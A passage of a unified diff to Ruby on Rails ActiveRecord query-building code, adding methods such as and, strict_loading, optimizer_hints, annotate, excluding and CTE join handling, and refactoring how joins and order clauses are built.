+        raise ArgumentError, "You have passed #{other.class.name} object to #and. Pass an ActiveRecord::Relation object instead."
+      end
+    end
+
+    def and!(other) # :nodoc:
+      incompatible_values = structurally_incompatible_values_for(other)
+
+      unless incompatible_values.empty?
+        raise ArgumentError, "Relation passed to #and must be structurally compatible. Incompatible values: #{incompatible_values}"
+      end
+
+      self.where_clause |= other.where_clause
+      self.having_clause |= other.having_clause
+      self.references_values |= other.references_values
+
+      self
     end
 
     # Returns a new relation, which is the logical union of this relation and the one passed as an
@@ -635,28 +1159,33 @@ def rewhere(conditions)
     #
     # The two relations must be structurally compatible: they must be scoping the same model, and
     # they must differ only by #where (if no #group has been defined) or #having (if a #group is
-    # present). Neither relation may have a #limit, #offset, or #distinct set.
+    # present).
     #
     #    Post.where("id = 1").or(Post.where("author_id = 3"))
     #    # SELECT `posts`.* FROM `posts` WHERE ((id = 1) OR (author_id = 3))
     #
     def or(other)
-      unless other.is_a? Relation
+      if other.is_a?(Relation)
+        if @none
+          other.spawn
+        else
+          spawn.or!(other)
+        end
+      else
         raise ArgumentError, "You have passed #{other.class.name} object to #or. Pass an ActiveRecord::Relation object instead."
       end
-
-      spawn.or!(other)
     end
 
     def or!(other) # :nodoc:
-      incompatible_values = structurally_incompatible_values_for_or(other)
+      incompatible_values = structurally_incompatible_values_for(other)
 
       unless incompatible_values.empty?
         raise ArgumentError, "Relation passed to #or must be structurally compatible. Incompatible values: #{incompatible_values}"
       end
 
-      self.where_clause = self.where_clause.or(other.where_clause)
+      self.where_clause = where_clause.or(other.where_clause)
       self.having_clause = having_clause.or(other.having_clause)
+      self.references_values |= other.references_values
 
       self
     end
@@ -670,10 +1199,7 @@ def having(opts, *rest)
     end
 
     def having!(opts, *rest) # :nodoc:
-      opts = sanitize_forbidden_attributes(opts)
-      references!(PredicateBuilder.references(opts)) if Hash === opts
-
-      self.having_clause += having_clause_factory.build(opts, rest)
+      self.having_clause += build_having_clause(opts, rest)
       self
     end
 
@@ -687,6 +1213,7 @@ def limit(value)
     end
 
     def limit!(value) # :nodoc:
+      value = Integer(value) unless value.nil?
       self.limit_value = value
       self
     end
@@ -757,15 +1284,29 @@ def none
     end
 
     def none! # :nodoc:
-      where!("1=0").extending!(NullRelation)
+      unless @none
+        where!("1=0")
+        @none = true
+      end
+      self
     end
 
-    # Sets readonly attributes for the returned relation. If value is
-    # true (default), attempting to update a record will result in an error.
+    def null_relation? # :nodoc:
+      @none
+    end
+
+    # Mark a relation as readonly. Attempting to update a record will result in
+    # an error.
     #
     #   users = User.readonly
     #   users.first.save
-    #   => ActiveRecord::ReadOnlyRecord: User is marked as readonly
+    #   # => ActiveRecord::ReadOnlyRecord: User is marked as readonly
+    #
+    # To make a readonly relation writable, pass +false+.
+    #
+    #   users.readonly(false)
+    #   users.first.save
+    #   # => true
     def readonly(value = true)
       spawn.readonly!(value)
     end
@@ -775,6 +1316,21 @@ def readonly!(value = true) # :nodoc:
       self
     end
 
+    # Sets the returned relation to strict_loading mode. This will raise an error
+    # if the record tries to lazily load an association.
+    #
+    #   user = User.strict_loading.first
+    #   user.comments.to_a
+    #   # => ActiveRecord::StrictLoadingViolationError
+    def strict_loading(value = true)
+      spawn.strict_loading!(value)
+    end
+
+    def strict_loading!(value = true) # :nodoc:
+      self.strict_loading_value = value
+      self
+    end
+
     # Sets attributes to be used when creating new records from a
     # relation object.
     #
@@ -797,13 +1353,13 @@ def create_with!(value) # :nodoc:
         value = sanitize_forbidden_attributes(value)
         self.create_with_value = create_with_value.merge(value)
       else
-        self.create_with_value = {}
+        self.create_with_value = FROZEN_EMPTY_HASH
       end
 
       self
     end
 
-    # Specifies table from which the records will be fetched. For example:
+    # Specifies the table from which the records will be fetched. For example:
     #
     #   Topic.select('title').from('posts')
     #   # SELECT title FROM posts
@@ -813,9 +1369,26 @@ def create_with!(value) # :nodoc:
     #   Topic.select('title').from(Topic.approved)
     #   # SELECT title FROM (SELECT * FROM topics WHERE approved = 't') subquery
     #
+    # Passing a second argument (string or symbol), creates the alias for the SQL from clause. Otherwise the alias "subquery" is used:
+    #
     #   Topic.select('a.title').from(Topic.approved, :a)
     #   # SELECT a.title FROM (SELECT * FROM topics WHERE approved = 't') a
     #
+    # It does not add multiple arguments to the SQL from clause. The last +from+ chained is the one used:
+    #
+    #   Topic.select('title').from(Topic.approved).from(Topic.inactive)
+    #   # SELECT title FROM (SELECT topics.* FROM topics WHERE topics.active = 'f') subquery
+    #
+    # For multiple arguments for the SQL from clause, you can pass a string with the exact elements in the SQL from list:
+    #
+    #   color = "red"
+    #   Color
+    #     .from("colors c, JSONB_ARRAY_ELEMENTS(colored_things) AS colorvalues(colorvalue)")
+    #     .where("colorvalue->>'color' = ?", color)
+    #     .select("c.*").to_a
+    #   # SELECT c.*
+    #   # FROM colors c, JSONB_ARRAY_ELEMENTS(colored_things) AS colorvalues(colorvalue)
+    #   # WHERE (colorvalue->>'color' = 'red')
     def from(value, subquery_name = nil)
       spawn.from!(value, subquery_name)
     end
@@ -850,7 +1423,7 @@ def distinct!(value = true) # :nodoc:
     #
     # The object returned is a relation, which can be further extended.
     #
-    # === Using a module
+    # === Using a \Module
     #
     #   module Pagination
     #     def page(number)
@@ -865,7 +1438,7 @@ def distinct!(value = true) # :nodoc:
     #
     #   scope = Model.all.extending(Pagination, SomethingElse)
     #
-    # === Using a block
+    # === Using a Block
     #
     #   scope = Model.all.extending do
     #     def page(number)
@@ -893,12 +1466,33 @@ def extending!(*modules, &block) # :nodoc:
       modules << Module.new(&block) if block
       modules.flatten!
 
-      self.extending_values += modules
+      self.extending_values |= modules
       extend(*extending_values) if extending_values.any?
 
       self
     end
 
+    # Specify optimizer hints to be used in the SELECT statement.
+    #
+    # Example (for MySQL):
+    #
+    #   Topic.optimizer_hints("MAX_EXECUTION_TIME(50000)", "NO_INDEX_MERGE(topics)")
+    #   # SELECT /*+ MAX_EXECUTION_TIME(50000) NO_INDEX_MERGE(topics) */ `topics`.* FROM `topics`
+    #
+    # Example (for PostgreSQL with pg_hint_plan):
+    #
+    #   Topic.optimizer_hints("SeqScan(topics)", "Parallel(topics 8)")
+    #   # SELECT /*+ SeqScan(topics) Parallel(topics 8) */ "topics".* FROM "topics"
+    def optimizer_hints(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.optimizer_hints!(*args)
+    end
+
+    def optimizer_hints!(*args) # :nodoc:
+      self.optimizer_hints_values |= args
+      self
+    end
+
     # Reverse the existing order clause on the relation.
     #
     #   User.order('name ASC').reverse_order # generated SQL has 'ORDER BY name DESC'
@@ -907,51 +1501,269 @@ def reverse_order
     end
 
     def reverse_order! # :nodoc:
-      orders = order_values.uniq
-      orders.reject!(&:blank?)
+      orders = order_values.compact_blank
       self.order_values = reverse_sql_order(orders)
       self
     end
 
-    # Returns the Arel object associated with the relation.
-    def arel # :nodoc:
-      @arel ||= build_arel
+    def skip_query_cache!(value = true) # :nodoc:
+      self.skip_query_cache_value = value
+      self
     end
 
-    # Returns a relation value with a given name
-    def get_value(name) # :nodoc:
-      @values[name] || default_value_for(name)
+    def skip_preloading! # :nodoc:
+      self.skip_preloading_value = true
+      self
     end
 
-    # Sets the relation value with the given name
-    def set_value(name, value) # :nodoc:
-      assert_mutability!
-      @values[name] = value
+    # Adds an SQL comment to queries generated from this relation. For example:
+    #
+    #   User.annotate("selecting user names").select(:name)
+    #   # SELECT "users"."name" FROM "users" /* selecting user names */
+    #
+    #   User.annotate("selecting", "user", "names").select(:name)
+    #   # SELECT "users"."name" FROM "users" /* selecting */ /* user */ /* names */
+    #
+    # The SQL block comment delimiters, "/*" and "*/", will be added automatically.
+    #
+    # Some escaping is performed, however untrusted user input should not be used.
+    def annotate(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.annotate!(*args)
     end
 
+    # Like #annotate, but modifies relation in place.
+    def annotate!(*args) # :nodoc:
+      self.annotate_values |= args
+      self
+    end
+
+    # Deduplicate multiple values.
+    def uniq!(name)
+      if values = @values[name]
+        values.uniq! if values.is_a?(Array) && !values.empty?
+      end
+      self
+    end
+
+    # Excludes the specified record (or collection of records) from the resulting
+    # relation. For example:
+    #
+    #   Post.excluding(post)
+    #   # SELECT "posts".* FROM "posts" WHERE "posts"."id" != 1
+    #
+    #   Post.excluding(post_one, post_two)
+    #   # SELECT "posts".* FROM "posts" WHERE "posts"."id" NOT IN (1, 2)
+    #
+    #   Post.excluding(Post.drafts)
+    #   # SELECT "posts".* FROM "posts" WHERE "posts"."id" NOT IN (3, 4, 5)
+    #
+    # This can also be called on associations. As with the above example, either
+    # a single record of collection thereof may be specified:
+    #
+    #   post = Post.find(1)
+    #   comment = Comment.find(2)
+    #   post.comments.excluding(comment)
+    #   # SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 1 AND "comments"."id" != 2
+    #
+    # This is short-hand for <tt>.where.not(id: post.id)</tt> and <tt>.where.not(id: [post_one.id, post_two.id])</tt>.
+    #
+    # An <tt>ArgumentError</tt> will be raised if either no records are
+    # specified, or if any of the records in the collection (if a collection
+    # is passed in) are not instances of the same model that the relation is
+    # scoping.
+    def excluding(*records)
+      relations = records.extract! { |element| element.is_a?(Relation) }
+      records.flatten!(1)
+      records.compact!
+
+      unless records.all?(model) && relations.all? { |relation| relation.model == model }
+        raise ArgumentError, "You must only pass a single or collection of #{model.name} objects to ##{__callee__}."
+      end
+
+      spawn.excluding!(records + relations.flat_map(&:ids))
+    end
+    alias :without :excluding
+
+    def excluding!(records) # :nodoc:
+      predicates = [ predicate_builder[primary_key, records].invert ]
+      self.where_clause += Relation::WhereClause.new(predicates)
+      self
+    end
+
+    # Returns the Arel object associated with the relation.
+    def arel(aliases = nil) # :nodoc:
+      @arel ||= build_arel(aliases)
+    end
+
+    def construct_join_dependency(associations, join_type) # :nodoc:
+      ActiveRecord::Associations::JoinDependency.new(
+        model, table, associations, join_type
+      )
+    end
+
+    protected
+      def build_subquery(subquery_alias, select_value) # :nodoc:
+        subquery = except(:optimizer_hints).arel.as(subquery_alias)
+
+        Arel::SelectManager.new(subquery).project(select_value).tap do |arel|
+          arel.optimizer_hints(*optimizer_hints_values) unless optimizer_hints_values.empty?
+        end
+      end
+
+      def build_where_clause(opts, rest = []) # :nodoc:
+        opts = sanitize_forbidden_attributes(opts)
+
+        if opts.is_a?(Array)
+          opts, *rest = opts
+        end
+
+        case opts
+        when String
+          if rest.empty?
+            parts = [Arel.sql(opts)]
+          elsif rest.first.is_a?(Hash) && /:\w+/.match?(opts)
+            parts = [build_named_bound_sql_literal(opts, rest.first)]
+          elsif opts.include?("?")
+            parts = [build_bound_sql_literal(opts, rest)]
+          else
+            parts = [Arel.sql(model.sanitize_sql([opts, *rest]))]
+          end
+        when Hash
+          opts = opts.transform_keys do |key|
+            if key.is_a?(Array)
+              key.map { |k| model.attribute_aliases[k.to_s] || k.to_s }
+            else
+              key = key.to_s
+              model.attribute_aliases[key] || key
+            end
+          end
+          references = PredicateBuilder.references(opts)
+          self.references_values |= references unless references.empty?
+
+          parts = predicate_builder.build_from_hash(opts) do |table_name|
+            lookup_table_klass_from_join_dependencies(table_name)
+          end
+        when Arel::Nodes::Node
+          parts = [opts]
+        else
+          raise ArgumentError, "Unsupported argument type: #{opts} (#{opts.class})"
+        end
+
+        Relation::WhereClause.new(parts)
+      end
+      alias :build_having_clause :build_where_clause
+
+      def async! # :nodoc:
+        @async = true
+        self
+      end
+
+      def arel_columns(columns) # :nodoc:
+        columns.flat_map do |field|
+          case field
+          when Symbol, String
+            arel_column(field)
+          when Proc
+            field.call
+          when Hash
+            arel_columns_from_hash(field)
+          else
+            field
+          end
+        end
+      end
+
     private
+      def async
+        spawn.async!
+      end
+
+      def build_named_bound_sql_literal(statement, values)
+        bound_values = values.transform_values do |value|
+          if ActiveRecord::Relation === value
+            Arel.sql(value.to_sql)
+          elsif value.respond_to?(:map) && !value.acts_like?(:string)
+            values = value.map { |v| v.respond_to?(:id_for_database) ? v.id_for_database : v }
+            values.empty? ? nil : values
+          else
+            value = value.id_for_database if value.respond_to?(:id_for_database)
+            value
+          end
+        end
+
+        begin
+          Arel::Nodes::BoundSqlLiteral.new("(#{statement})", nil, bound_values)
+        rescue Arel::BindError => error
+          raise ActiveRecord::PreparedStatementInvalid, error.message
+        end
+      end
+
+      def build_bound_sql_literal(statement, values)
+        bound_values = values.map do |value|
+          if ActiveRecord::Relation === value
+            Arel.sql(value.to_sql)
+          elsif value.respond_to?(:map) && !value.acts_like?(:string)
+            values = value.map { |v| v.respond_to?(:id_for_database) ? v.id_for_database : v }
+            values.empty? ? nil : values
+          else
+            value = value.id_for_database if value.respond_to?(:id_for_database)
+            value
+          end
+        end
+
+        begin
+          Arel::Nodes::BoundSqlLiteral.new("(#{statement})", bound_values, nil)
+        rescue Arel::BindError => error
+          raise ActiveRecord::PreparedStatementInvalid, error.message
+        end
+      end
+
+      def lookup_table_klass_from_join_dependencies(table_name)
+        each_join_dependencies do |join|
+          return join.base_klass if table_name == join.table_name
+        end
+        nil
+      end
+
+      def each_join_dependencies(join_dependencies = build_join_dependencies, &block)
+        join_dependencies.each do |join_dependency|
+          join_dependency.each(&block)
+        end
+      end
+
+      def build_join_dependencies
+        joins = joins_values | left_outer_joins_values
+        joins |= eager_load_values unless eager_load_values.empty?
+        joins |= includes_values unless includes_values.empty?
 
-      def assert_mutability!
-        raise ImmutableRelation if @loaded
-        raise ImmutableRelation if defined?(@arel) && @arel
+        join_dependencies = []
+        join_dependencies.unshift construct_join_dependency(
+          select_named_joins(joins, join_dependencies), nil
+        )
       end
 
-      def build_arel
+      def assert_modifiable!
+        raise UnmodifiableRelation if @loaded || @arel
+      end
+
+      def build_arel(aliases)
         arel = Arel::SelectManager.new(table)
 
-        build_joins(arel, joins_values.flatten) unless joins_values.empty?
-        build_left_outer_joins(arel, left_outer_joins_values.flatten) unless left_outer_joins_values.empty?
+        build_joins(arel.join_sources, aliases)
 
         arel.where(where_clause.ast) unless where_clause.empty?
         arel.having(having_clause.ast) unless having_clause.empty?
-        arel.take(Arel::Nodes::BindParam.new) if limit_value
-        arel.skip(Arel::Nodes::BindParam.new) if offset_value
-        arel.group(*arel_columns(group_values.uniq.reject(&:blank?))) unless group_values.empty?
+        arel.take(build_cast_value("LIMIT", limit_value)) if limit_value
+        arel.skip(build_cast_value("OFFSET", offset_value.to_i)) if offset_value
+        arel.group(*arel_columns(group_values)) unless group_values.empty?
 
         build_order(arel)
-
+        build_with(arel)
         build_select(arel)
 
+        arel.optimizer_hints(*optimizer_hints_values) unless optimizer_hints_values.empty?
+        arel.comment(*annotate_values) unless annotate_values.empty?
         arel.distinct(distinct_value)
         arel.from(build_from) unless from_clause.empty?
         arel.lock(lock_value) if lock_value
@@ -959,11 +1771,18 @@ def build_arel
         arel
       end
 
+      def build_cast_value(name, value)
+        ActiveModel::Attribute.with_cast_value(name, value, Type.default_value)
+      end
+
       def build_from
         opts = from_clause.value
         name = from_clause.name
         case opts
         when Relation
+          if opts.eager_loading?
+            opts = opts.send(:apply_join_dependency)
+          end
           name ||= "subquery"
           opts.arel.as(name.to_s)
         else
@@ -971,98 +1790,237 @@ def build_from
         end
       end
 
-      def build_left_outer_joins(manager, outer_joins)
-        buckets = outer_joins.group_by do |join|
-          case join
-          when Hash, Symbol, Array
-            :association_join
-          else
-            raise ArgumentError, "only Hash, Symbol and Array are allowed"
-          end
+      def select_named_joins(join_names, stashed_joins = nil, &block)
+        cte_joins, associations = join_names.partition do |join_name|
+          Symbol === join_name && with_values.any? { _1.key?(join_name) }
+        end
+
+        cte_joins.each do |cte_name|
+          block&.call(CTEJoin.new(cte_name))
         end
 
-        build_join_query(manager, buckets, Arel::Nodes::OuterJoin)
+        select_association_list(associations, stashed_joins, &block)
       end
 
-      def build_joins(manager, joins)
-        buckets = joins.group_by do |join|
-          case join
-          when String
-            :string_join
+      def select_association_list(associations, stashed_joins = nil)
+        result = []
+        associations.each do |association|
+          case association
           when Hash, Symbol, Array
-            :association_join
+            result << association
           when ActiveRecord::Associations::JoinDependency
-            :stashed_join
-          when Arel::Nodes::Join
-            :join_node
+            stashed_joins&.<< association
           else
-            raise "unknown class: %s" % join.class.name
+            yield association if block_given?
           end
         end
-
-        build_join_query(manager, buckets, Arel::Nodes::InnerJoin)
+        result
       end
 
-      def build_join_query(manager, buckets, join_type)
-        buckets.default = []
+      def build_join_buckets
+        buckets = Hash.new { |h, k| h[k] = [] }
 
-        association_joins         = buckets[:association_join]
-        stashed_association_joins = buckets[:stashed_join]
-        join_nodes                = buckets[:join_node].uniq
-        string_joins              = buckets[:string_join].map(&:strip).uniq
+        unless left_outer_joins_values.empty?
+          stashed_left_joins = []
+          left_joins = select_named_joins(left_outer_joins_values, stashed_left_joins) do |left_join|
+            if left_join.is_a?(CTEJoin)
+              buckets[:join_node] << build_with_join_node(left_join.name, Arel::Nodes::OuterJoin)
+            else
+              raise ArgumentError, "only Hash, Symbol and Array are allowed"
+            end
+          end
 
-        join_list = join_nodes + convert_join_strings_to_ast(manager, string_joins)
+          if joins_values.empty?
+            buckets[:named_join] = left_joins
+            buckets[:stashed_join] = stashed_left_joins
+            return buckets, Arel::Nodes::OuterJoin
+          else
+            stashed_left_joins.unshift construct_join_dependency(left_joins, Arel::Nodes::OuterJoin)
+          end
+        end
 
-        join_dependency = ActiveRecord::Associations::JoinDependency.new(
-          @klass,
-          association_joins,
-          join_list
-        )
+        joins = joins_values.dup
+        if joins.last.is_a?(ActiveRecord::Associations::JoinDependency)
+          stashed_eager_load = joins.pop if joins.last.base_klass == model
+        end
 
-        join_infos = join_dependency.join_constraints stashed_association_joins, join_type
+        joins.each_with_index do |join, i|
+          joins[i] = Arel::Nodes::StringJoin.new(Arel.sql(join.strip)) if join.is_a?(String)
+        end
 
-        join_infos.each do |info|
-          info.joins.each { |join| manager.from(join) }
-          manager.bind_values.concat info.binds
+        while joins.first.is_a?(Arel::Nodes::Join)
+          join_node = joins.shift
+          if !join_node.is_a?(Arel::Nodes::LeadingJoin) && (stashed_eager_load || stashed_left_joins)
+            buckets[:join_node] << join_node
+          else
+            buckets[:leading_join] << join_node
+          end
         end
 
-        manager.join_sources.concat(join_list)
+        buckets[:named_join] = select_named_joins(joins, buckets[:stashed_join]) do |join|
+          if join.is_a?(Arel::Nodes::Join)
+            buckets[:join_node] << join
+          elsif join.is_a?(CTEJoin)
+            buckets[:join_node] << build_with_join_node(join.name)
+          else
+            raise "unknown class: %s" % join.class.name
+          end
+        end
+
+        buckets[:stashed_join].concat stashed_left_joins if stashed_left_joins
+        buckets[:stashed_join] << stashed_eager_load if stashed_eager_load
 
-        manager
+        return buckets, Arel::Nodes::InnerJoin
       end
 
-      def convert_join_strings_to_ast(table, joins)
-        joins
-          .flatten
-          .reject(&:blank?)
-          .map { |join| table.create_string_join(Arel.sql(join)) }
+      def build_joins(join_sources, aliases = nil)
+        return join_sources if joins_values.empty? && left_outer_joins_values.empty?
+
+        buckets, join_type = build_join_buckets
+
+        named_joins   = buckets[:named_join]
+        stashed_joins = buckets[:stashed_join]
+        leading_joins = buckets[:leading_join]
+        join_nodes    = buckets[:join_node]
+
+        join_sources.concat(leading_joins) unless leading_joins.empty?
+
+        unless named_joins.empty? && stashed_joins.empty?
+          alias_tracker = alias_tracker(leading_joins + join_nodes, aliases)
+          join_dependency = construct_join_dependency(named_joins, join_type)
+          join_sources.concat(join_dependency.join_constraints(stashed_joins, alias_tracker, references_values))
+        end
+
+        join_sources.concat(join_nodes) unless join_nodes.empty?
+        join_sources
       end
 
       def build_select(arel)
         if select_values.any?
-          arel.project(*arel_columns(select_values.uniq))
+          arel.project(*arel_columns(select_values))
+        elsif model.ignored_columns.any? || model.enumerate_columns_in_select_statements
+          arel.project(*model.column_names.map { |field| table[field] })
         else
-          arel.project(@klass.arel_table[Arel.star])
+          arel.project(table[Arel.star])
+        end
+      end
+
+      def build_with(arel)
+        return if with_values.empty?
+
+        with_statements = with_values.map do |with_value|
+          build_with_value_from_hash(with_value)
+        end
+
+        @with_is_recursive ? arel.with(:recursive, with_statements) : arel.with(with_statements)
+      end
+
+      def build_with_value_from_hash(hash)
+        hash.map do |name, value|
+          Arel::Nodes::TableAlias.new(build_with_expression_from_value(value), name)
         end
       end
 
-      def arel_columns(columns)
-        columns.map do |field|
-          if (Symbol === field || String === field) && (klass.has_attribute?(field) || klass.attribute_alias?(field)) && !from_clause.value
-            arel_attribute(field)
-          elsif Symbol === field
-            connection.quote_table_name(field.to_s)
+      def build_with_expression_from_value(value, nested = false)
+        case value
+        when Arel::Nodes::SqlLiteral, Arel::Nodes::BoundSqlLiteral
+          Arel::Nodes::Grouping.new(value)
+        when ActiveRecord::Relation
+          if nested
+            value.arel.ast
           else
-            field
+            value.arel
+          end
+        when Arel::SelectManager then value
+        when Array
+          return build_with_expression_from_value(value.first, false) if value.size == 1
+
+          parts = value.map do |query|
+            build_with_expression_from_value(query, true)
+          end
+
+          parts.reduce do |result, value|
+            Arel::Nodes::UnionAll.new(result, value)
+          end
+        else
+          raise ArgumentError, "Unsupported argument type: `#{value}` #{value.class}"
+        end
+      end
+
+      def build_with_join_node(name, kind = Arel::Nodes::InnerJoin)
+        with_table = Arel::Table.new(name)
+
+        table.join(with_table, kind).on(
+          with_table[model.model_name.to_s.foreign_key].eq(table[model.primary_key])
+        ).join_sources.first
+      end
+
+      def arel_columns_from_hash(fields)
+        fields.flat_map do |table_name, columns|
+          table_name = table_name.name if table_name.is_a?(Symbol)
+          case columns
+          when Symbol, String
+            arel_column_with_table(table_name, columns)
+          when Array
+            columns.map do |column|
+              arel_column_with_table(table_name, column)
+            end
+          else
+            raise TypeError, "Expected Symbol, String or Array, got: #{columns.class}"
+          end
+        end
+      end
+
+      def arel_column_with_table(table_name, column_name)
+        self.references_values |= [Arel.sql(table_name, retryable: true)]
+
+        if column_name.is_a?(Symbol) || !column_name.match?(/\W/)
+          predicate_builder.resolve_arel_attribute(table_name, column_name) do
+            lookup_table_klass_from_join_dependencies(table_name)
           end
+        else
+          Arel.sql("#{model.adapter_class.quote_table_name(table_name)}.#{column_name}")
+        end
+      end
+
+      def arel_column(field)
+        field = field.name if is_symbol = field.is_a?(Symbol)
+
+        field = model.attribute_aliases[field] || field
+        from = from_clause.name || from_clause.value
+
+        if model.columns_hash.key?(field) && (!from || table_name_matches?(from))
+          table[field]
+        elsif /\A(?<table>(?:\w+\.)?\w+)\.(?<column>\w+)\z/ =~ field
+          arel_column_with_table(table, column)
+        elsif block_given?
+          yield field
+        elsif Arel.arel_node?(field)
+          field
+        elsif is_symbol
+          Arel.sql(model.adapter_class.quote_table_name(field), retryable: true)
+        else
+          Arel.sql(field)
         end
       end
 
+      def table_name_matches?(from)
+        table_name = Regexp.escape(table.name)
+        quoted_table_name = Regexp.escape(model.adapter_class.quote_table_name(table.name))
+        /(?:\A|(?<!FROM)\s)(?:\b#{table_name}\b|#{quoted_table_name})(?!\.)/i.match?(from.to_s)
+      end
+
       def reverse_sql_order(order_query)
         if order_query.empty?
-          return [arel_attribute(primary_key).desc] if primary_key
-          raise IrreversibleOrderError,
-            "Relation has no current order and table has no primary key to be used as default order"
+          if !_reverse_order_columns.empty?
+            return _reverse_order_columns.map { |column| table[column].desc }
+          end
+
+          raise IrreversibleOrderError, <<~MSG.squish
+            Relation has no order values, and #{model} has no order columns to use as a default.
+            Set at least one of `implicit_order_column`, or `primary_key` on the model when no
+            `order `is specified on the relation.
+          MSG
         end
 
         order_query.flat_map do |o|
@@ -1071,13 +2029,15 @@ def reverse_sql_order(order_query)
             o.desc
           when Arel::Nodes::Ordering
             o.reverse
+          when Arel::Nodes::NodeExpression
+            o.desc
           when String
             if does_not_support_reverse?(o)
-              raise IrreversibleOrderError, "Order #{o.inspect} can not be reversed automatically"
+              raise IrreversibleOrderError, "Order #{o.inspect} cannot be reversed automatically"
             end
             o.split(",").map! do |s|
               s.strip!
-              s.gsub!(/\sasc\Z/i, " DESC") || s.gsub!(/\sdesc\Z/i, " ASC") || s.concat(" DESC")
+              s.gsub!(/\sasc\Z/i, " DESC") || s.gsub!(/\sdesc\Z/i, " ASC") || (s << " DESC")
             end
           else
             o
@@ -1085,59 +2045,166 @@ def reverse_sql_order(order_query)
         end
       end
 
+      def _reverse_order_columns
+        roc = []
+        roc << model.implicit_order_column if model.implicit_order_column
+        roc << model.primary_key if model.primary_key
+        roc.flatten.uniq.compact
+      end
+
       def does_not_support_reverse?(order)
+        # Account for String subclasses like Arel::Nodes::SqlLiteral that
+        # override methods like #count.
+        order = String.new(order) unless order.instance_of?(String)
+
         # Uses SQL function with multiple arguments.
         (order.include?(",") && order.split(",").find { |section| section.count("(") != section.count(")") }) ||
           # Uses "nulls first" like construction.
-          /nulls (first|last)\Z/i.match?(order)
+          /\bnulls\s+(?:first|last)\b/i.match?(order)
       end
 
       def build_order(arel)
-        orders = order_values.uniq
-        orders.reject!(&:blank?)
-
+        orders = order_values.compact_blank
         arel.order(*orders) unless orders.empty?
       end
 
       VALID_DIRECTIONS = [:asc, :desc, :ASC, :DESC,
-                          "asc", "desc", "ASC", "DESC"] # :nodoc:
+                          "asc", "desc", "ASC", "DESC"].to_set # :nodoc:
 
       def validate_order_args(args)
         args.each do |arg|
           next unless arg.is_a?(Hash)
           arg.each do |_key, value|
-            raise ArgumentError, "Direction \"#{value}\" is invalid. Valid " \
-                                 "directions are: #{VALID_DIRECTIONS.inspect}" unless VALID_DIRECTIONS.include?(value)
+            if value.is_a?(Hash)
+              validate_order_args([value])
+            elsif VALID_DIRECTIONS.exclude?(value)
+              raise ArgumentError,
+                "Direction \"#{value}\" is invalid. Valid directions are: #{VALID_DIRECTIONS.to_a.inspect}"
+            end
           end
         end
       end
 
+      def flattened_args(args)
+        args.flat_map { |e| (e.is_a?(Hash) || e.is_a?(Array)) ? flattened_args(e.to_a) : e }
+      end
+
       def preprocess_order_args(order_args)
-        order_args.map! do |arg|
-          klass.send(:sanitize_sql_for_order, arg)
-        end
-        order_args.flatten!
+        model.disallow_raw_sql!(
+          flattened_args(order_args),
+          permit: model.adapter_class.column_name_with_order_matcher
+        )
+
         validate_order_args(order_args)
 
-        references = order_args.grep(String)
-        references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
-        references!(references) if references.any?
+        references = column_references(order_args)
+        self.references_values |= references unless references.empty?
 
         # if a symbol is given we prepend the quoted table name
         order_args.map! do |arg|
           case arg
           when Symbol
-            arel_attribute(arg).asc
+            order_column(arg.to_s).asc
           when Hash
-            arg.map { |field, dir|
-              arel_attribute(field).send(dir.downcase)
-            }
+            arg.map do |key, value|
+              if value.is_a?(Hash)
+                value.map do |field, dir|
+                  order_column([key.to_s, field.to_s].join(".")).public_send(dir.downcase)
+                end
+              else
+                case key
+                when Arel::Nodes::SqlLiteral, Arel::Nodes::Node, Arel::Attribute
+                  key.public_send(value.downcase)
+                else
+                  order_column(key.to_s).public_send(value.downcase)
+                end
+              end
+            end
           else
             arg
           end
         end.flatten!
       end
 
+      def sanitize_order_arguments(order_args)
+        order_args.map! do |arg|
+          model.sanitize_sql_for_order(arg)
+        end
+      end
+
+      def column_references(order_args)
+        order_args.flat_map do |arg|
+          case arg
+          when String, Symbol
+            extract_table_name_from(arg)
+          when Hash
+            arg
+              .map do |key, value|
+                case value
+                when Hash
+                  key.to_s
+                else
+                  extract_table_name_from(key) if key.is_a?(String) || key.is_a?(Symbol)
+                end
+              end
+          when Arel::Attribute
+            arg.relation.name
+          when Arel::Nodes::Ordering
+            if arg.expr.is_a?(Arel::Attribute)
+              arg.expr.relation.name
+            end
+          end
+        end.filter_map { |ref| Arel.sql(ref, retryable: true) if ref }
+      end
+
+      def extract_table_name_from(string)
+        string.match(/^\W?(\w+)\W?\./) && $1
+      end
+
+      def order_column(field)
+        arel_column(field) do |attr_name|
+          if attr_name == "count" && !group_values.empty?
+            table[attr_name]
+          else
+            Arel.sql(model.adapter_class.quote_table_name(attr_name), retryable: true)
+          end
+        end
+      end
+
+      def build_case_for_value_position(column, values, filter: true)
+        node = Arel::Nodes::Case.new
+        values.each.with_index(1) do |value, order|
+          node.when(column.eq(value)).then(order)
+        end
+
+        node = node.else(values.length + 1) unless filter
+        Arel::Nodes::Ascending.new(node)
+      end
+
+      def resolve_arel_attributes(attrs)
+        attrs.flat_map do |attr|
+          case attr
+          when Arel::Predications
+            attr
+          when Hash
+            attr.flat_map do |table, columns|
+              table = table.to_s
+              Array(columns).map do |column|
+                predicate_builder.resolve_arel_attribute(table, column)
+              end
+            end
+          else
+            attr = attr.to_s
+            if attr.include?(".")
+              table, column = attr.split(".", 2)
+              predicate_builder.resolve_arel_attribute(table, column)
+            else
+              attr
+            end
+          end
+        end
+      end
+
       # Checks to make sure that the arguments are not blank. Note that if some
       # blank-like object were initially passed into the query method, then this
       # method will not raise an error.
@@ -1147,47 +2214,76 @@ def preprocess_order_args(order_args)
       #    Post.references()   # raises an error
       #    Post.references([]) # does not raise an error
       #
-      # This particular method should be called with a method_name and the args
+      # This particular method should be called with a method_name (__callee__) and the args
       # passed into that method as an input. For example:
       #
       # def references(*args)
-      #   check_if_method_has_arguments!("references", args)
+      #   check_if_method_has_arguments!(__callee__, args)
       #   ...
       # end
-      def check_if_method_has_arguments!(method_name, args)
+      def check_if_method_has_arguments!(method_name, args, message = nil)
         if args.blank?
-          raise ArgumentError, "The method .#{method_name}() must contain arguments."
+          raise ArgumentError, message || "The method .#{method_name}() must contain arguments."
+        else
+          yield args if block_given?
+
+          args.flatten!
+          args.compact_blank!
+        end
+      end
+
+      def process_select_args(fields)
+        fields.flat_map do |field|
+          if field.is_a?(Hash)
+            arel_column_aliases_from_hash(field)
+          else
+            field
+          end
         end
       end
 
